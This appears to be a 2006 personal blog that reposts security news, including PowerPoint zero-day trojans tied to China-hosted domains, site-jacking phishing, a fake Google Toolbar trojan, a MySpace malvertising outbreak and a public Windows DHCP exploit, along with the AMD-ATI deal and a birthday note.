The incident was first made public at a June 9 congressional hearing. Bodman has said he and his top deputy first learned of the theft two days before the hearing.

At the time, Rep. Joe Barton (news, bio, voting record), R-Texas, chairman of the Energy and Commerce Committee, demanded that Brooks, the No. 3 official at the Energy Department, be fired for not promptly informing his superiors of the theft.

The IG report said the "department's handling of this matter was largely dysfunctional" and blamed the communications breakdown on "questionable management judgments" and confusion among some managers about lines of authority as they involved the semi-independent NNSA and other DOE offices.

It's not known whether any of the information on the files has been used improperly. Nor has there been a great deal of information made public about the theft. Although the theft occurred from the NNSA's unclassified computer system — and not the weapons-related classified system — the full IG report remains classified and only a brief summary was released.

Brooks told the congressional hearing in June that the file contained names, Social Security numbers, date-of-birth information, a code where the employees worked and codes showing their security clearances.

The IG report called on the department to establish a clear and unambiguous policy on notifying employees of such thefts in the future.

It also said it needed to more clearly define who among various DOE offices — some of which are duplicated within NNSA and other parts of the DOE — is responsible for briefing the secretary and deputy in such matters.

Official reprimanded in DOE hacker case - Yahoo! News.

PowerPoint Zero-Day Attack Points to Corporate Espionage
July 20, 2006

By  Ryan Naraine

A second Trojan used in the latest zero-day attack against Microsoft Office contains characteristics that pinpoint corporate espionage as the main motive, according to virus hunters tracking the threat.

According to an alert from Symantec, a backdoor called Trojan.Riler.F is installing itself as a layered service provider, or LSP, allowing it access to every piece of data entering and leaving the infected computer.

An LSP is a legitimate system driver linked deep into the networking services of Windows. It is used primarily to allow the operating system to connect to other computers, but virus writers have found a way to make malicious programs work as LSPs to hijack sensitive data during transmission.

Symantec, of Cupertino, Calif., said the Trojan also opens a back door on the compromised system and connects to the "soswxyz.8800.org" domain. The Trojan then listens and waits for commands from a remote attacker.

Alfred Huger, senior director of engineering at Symantec, said the dirty PowerPoint file infects the machine with a piece of malware called Trojan.PPDropper.C which in turn drops two separate backdoors that give the attack unauthorized access to the compromised computer.

The first Trojan, called Backdoor.Bifrose.E, logs keyboard strokes, hijacks sensitive system data and transmit the information back to a remote server hosted in China.

F-Secure, an anti-virus vendor with headquarters in Finland, said the Bifrose backdoor file is an uncompressed PE executable that is encrypted with a simple algorithm. The backdoor is programmed to connect to "pukumalon.8800.org," which is a free host bouncing service in China.

The 8800.org domain, like other similar hosting services, has been used in several zero-day attacks this year, according to F-Secure researcher Mikko Hypponen.

The F-Secure anti-virus team found backdoors connecting to China-hosted domains in March 2005, September 2005, March 2006, April 2006, May 2006 and July 2006.

"If you're not in China and your users are not supposed to access different Chinese services, blocking might not break too many things," Hypponen said.

"We'd recommend you at least check your company's gateway logs to see what kind of traffic you have to such services," he added.

Microsoft declined a request for an interview to discuss the characteristics of the attacks and referred queries to the company's PowerPoint security advisory.

Symantec's Huger said the sophisticated nature of the attacks suggest it is the work or well-organized criminals associated with industrial espionage.

"It's difficult to say if all the Office attacks we've seen this year are related to each other but they are using very similar techniques that are very sophisticated," Huger said in an interview with eWEEK.

In both the Excel and PowerPoint attacks for example, there is a never-before-seen attempt to hide forensic evidence.

"Whether it's the same attacker, we don't know. But this is not a technique we've seen before. Instead of leaving a dirty file, the author is overwriting it with a clean file. That's a new level of sophistication," Huger said.

He confirmed Microsoft's claim that the attacks were "very limited" but warned against businesses in the United States becoming complacent.

"Once this type of attack is out, it's very unusual for it to be limited to just one company. I think it's safe to assume that it's ongoing, especially since there is no patch for this vulnerability," Huger added.

Microsoft plans to issue a patch on August 8 for users of Microsoft PowerPoint 2000, Microsoft PowerPoint 2002 and Microsoft PowerPoint 2003.

In the meantime, anti-virus experts are urging Microsoft Office users to be on the lookout for suspicious attachments, even those that appear to come from colleagues internally.

The PowerPoint exploit arrives from a Gmail address with a subject line in Chinese characters. Internet security vendor Sophos said the rigged PowerPoint presentation, which includes 18 slides, contains "humorous" philosophy about love between men and women.

Check out eWEEK.com's Security Center for the latest security news, reviews and analysis. And for insights on security coverage around the Web, take a look at eWEEK.com Security Center Editor Larry Seltzer's Weblog.

Copyright (c) 2006 Ziff Davis Media Inc. All Rights Reserved.

PowerPoint Zero-Day Attack Points to Corporate Espionage.

Site Jacking

It seems that there is an increased frequency of attacks where bogus links are placed on otherwise legitimate Web sites; these bogus links consequently send users that click on them to malicious pages. These malicious pages are hosted on a different domain and are built to mimic the legitimate site, and they can prompt a user to enter the username and password combination that would have been used on the original site. The username and password details can then be logged with the intention of future fraudulent use. For lack of a better name, I’ve started using the term "site jacking" to refer to this type of attack. This attack has some resemblance to phishing, except that instead of having a malicious link delivered via email, the link is “presented” on a well known (and even reputable) Web site.

There have been reported site jackings on MySpace and eBay. While people are unlikely to store sensitive financial data on social networking sites like MySpace, their username and password for MySpace may be the same as the username and password they use for other sites (for example, their online banking, brokerage account, or eBay Web sites). Additionally, some Web sites pop up warnings when you click on a link that forces you to leave the site, but it has been noted that users often ignore such warnings. In fact, users are often conditioned to ignore these warnings, especially since they are often following a legitimate link!

You can avoid becoming the victim of these attacks by using a good confidential information management tool. Symantec provides an information management tool in the beta release of Norton Confidential, which keeps track of Web sites that correspond to each unique username and password combination; therefore, it won’t enter a password onto a site other than the intended one. Another helpful information management technique is password “hashing”, where multiple unique passwords are securely derived from a single master password, using a cryptographic hashing function. The PwdHash browser extension tool (from the security lab at Stanford University) is designed to lessen the damage if a user does, in fact, divulge a password by mistake on a particular Web site, because that password will be unique to that site and the tool will hash passwords for any other sites that are visited. Also, PwdHash complements another Stanford security lab product known as SpoofGuard, which is a browser extension tool that is intended to alert the user when a browser is being redirected to a “spoofed” or site jacking Web site.

Please ensure that you take steps to make yourself aware of the threat of site jacking and to protect yourself against its effects. This includes using caution when you notice that your Web browser has popped up a warning that you are leaving a particular site or domain; this isn’t always a good thing, and it will require your full attention.

Posted by Zulfikar Ramzan on July 21, 2006 08:00 AM

Symantec Security Response Weblog: Site Jacking.

Fake Google Site Hides Trojan Horse

John E. Dunn, Techworld.comFri Jul 21, 11:00 AM ET

Scammers have set up an exact copy of the download page for Google's Toolbar plug-in in an attempt to lure users to download a Trojan backdoor.

Reported by security outfit Surfcontrol, some versions of the scam even spoof the correct Google Toolbar web address for Internet Explorer, using Google's own redirection service in an attempt to hide the real, non-Google address.

The Trojan itself--W32.Ranky.FW--is designed to turn the PC into a bot zombie, and is spread using the conventional technique of asking recipients of a spam e-mail to follow an embedded link.

According to Surfcontrol, the version detected by the company fails because of poor programming of defective compilation, but it remains a proof-of-concept in how to attack users using a simple combination of convincing elements.

Clever Combination

Outwardly simple, the scam has a clever combination of tricks. Although using parts of established Web sites is standard in phishing scams, it is relatively unusual to go to the length of reproducing en entire page precisely, in combination with a convincingly-spoofed web address.

The fact that the spammed e-mail appears to come from Google could convince recipients to follow the link.

Assuming that a re-engineered version appears--highly likely--once infected, users will notice nothing untoward, although their PCs will have become part of a bot-controlled network.

Google has been attacked in similar way before. Last September, scammers faked the Google search page itself in order to aid the spread of a worm.

More recently, a Trojan attacked the company's adsense advertisements, replacing them, in-browser, with fake ones on any PC infected with the malware

Fake Google Site Hides Trojan Horse - Yahoo! News.

This should be interesting...

AMD Agrees To Buy ATI In $5.4 Billion Deal 07.24.06 Mark Hachman

On Monday, AMD agreed to acquire graphics powerhouse ATI Technologies in a surprise $5.4 billion deal that will radically alter the landscape of the PC component industry.

ATI will become "the ATI business division," within AMD, and its chief executive and president, Dave Orton, will become an executive vice president reporting to both AMD president and chief operating officer Dirk Meyer and AMD's chief executive, Hector Ruiz. The deal, if agreed to by shareholders, will total $4.2 billion in cash and 57 million shares of AMD common stock, which the company is valuing at $18.26 per share.

AMD Agrees To Buy ATI In $5.4 Billion Deal

July 24, 2006

Hacked MySpace Server Infects a Million Computers with Malware

According to The Washington Post:

An online banner advertisement that ran on MySpace.com and other sites over the past week used a Windows security flaw to infect more than a million users with spyware when people merely browsed the sites with unpatched versions of Windows....

Clever attack.

Posted on July 24, 2006 at 06:46 AM

Schneier on Security: Hacked MySpace Server Infects a Million Computers with Malware.

Today is my wife Debbie’s birthday. 

Everyone give her a shout!

DHCP exploit publicly available (MS06-036)

Published: 2006-07-22,
Last Updated: 2006-07-23 20:58:37 UTC by Swa Frantzen (Version: 1)

As a "present" for blackhat an exploit against the DHCP client of Windows 2000 was released publicly. See MS06-036 for more details.

The exploit claims to add the user "bl4ck" with a very insecure password and might cause the service to terminate. The author left some suggestions for "improvement" in the source code, so expect potentially nastier versions to be used in real life.

If you still have not patched your Windows client systems, it is a very good time to do so now.

The nature of DHCP makes it so that any device on a LAN can answer any and all DHCP request. So be sure people understand there is no need to attack or compromise any server first. Detecting this is helped slightly by DHCP's use of broadcasts (the client doesn't have an IP address).

It is quite imaginable that this gets used not just over wired networks - where the defending staff could disable a port in a worst-case scenario - but also over wireless networks, hotspots, hotels etc. where no such option is available. Or it could be used in a multi-stage attack where this gets inside your network in other ways and then does its "magic" on the local LAN.

--
Swa Frantzen -- Section 66

SANS - Internet Storm Center - Cooperative Cyber Threat Monitor And Alert System.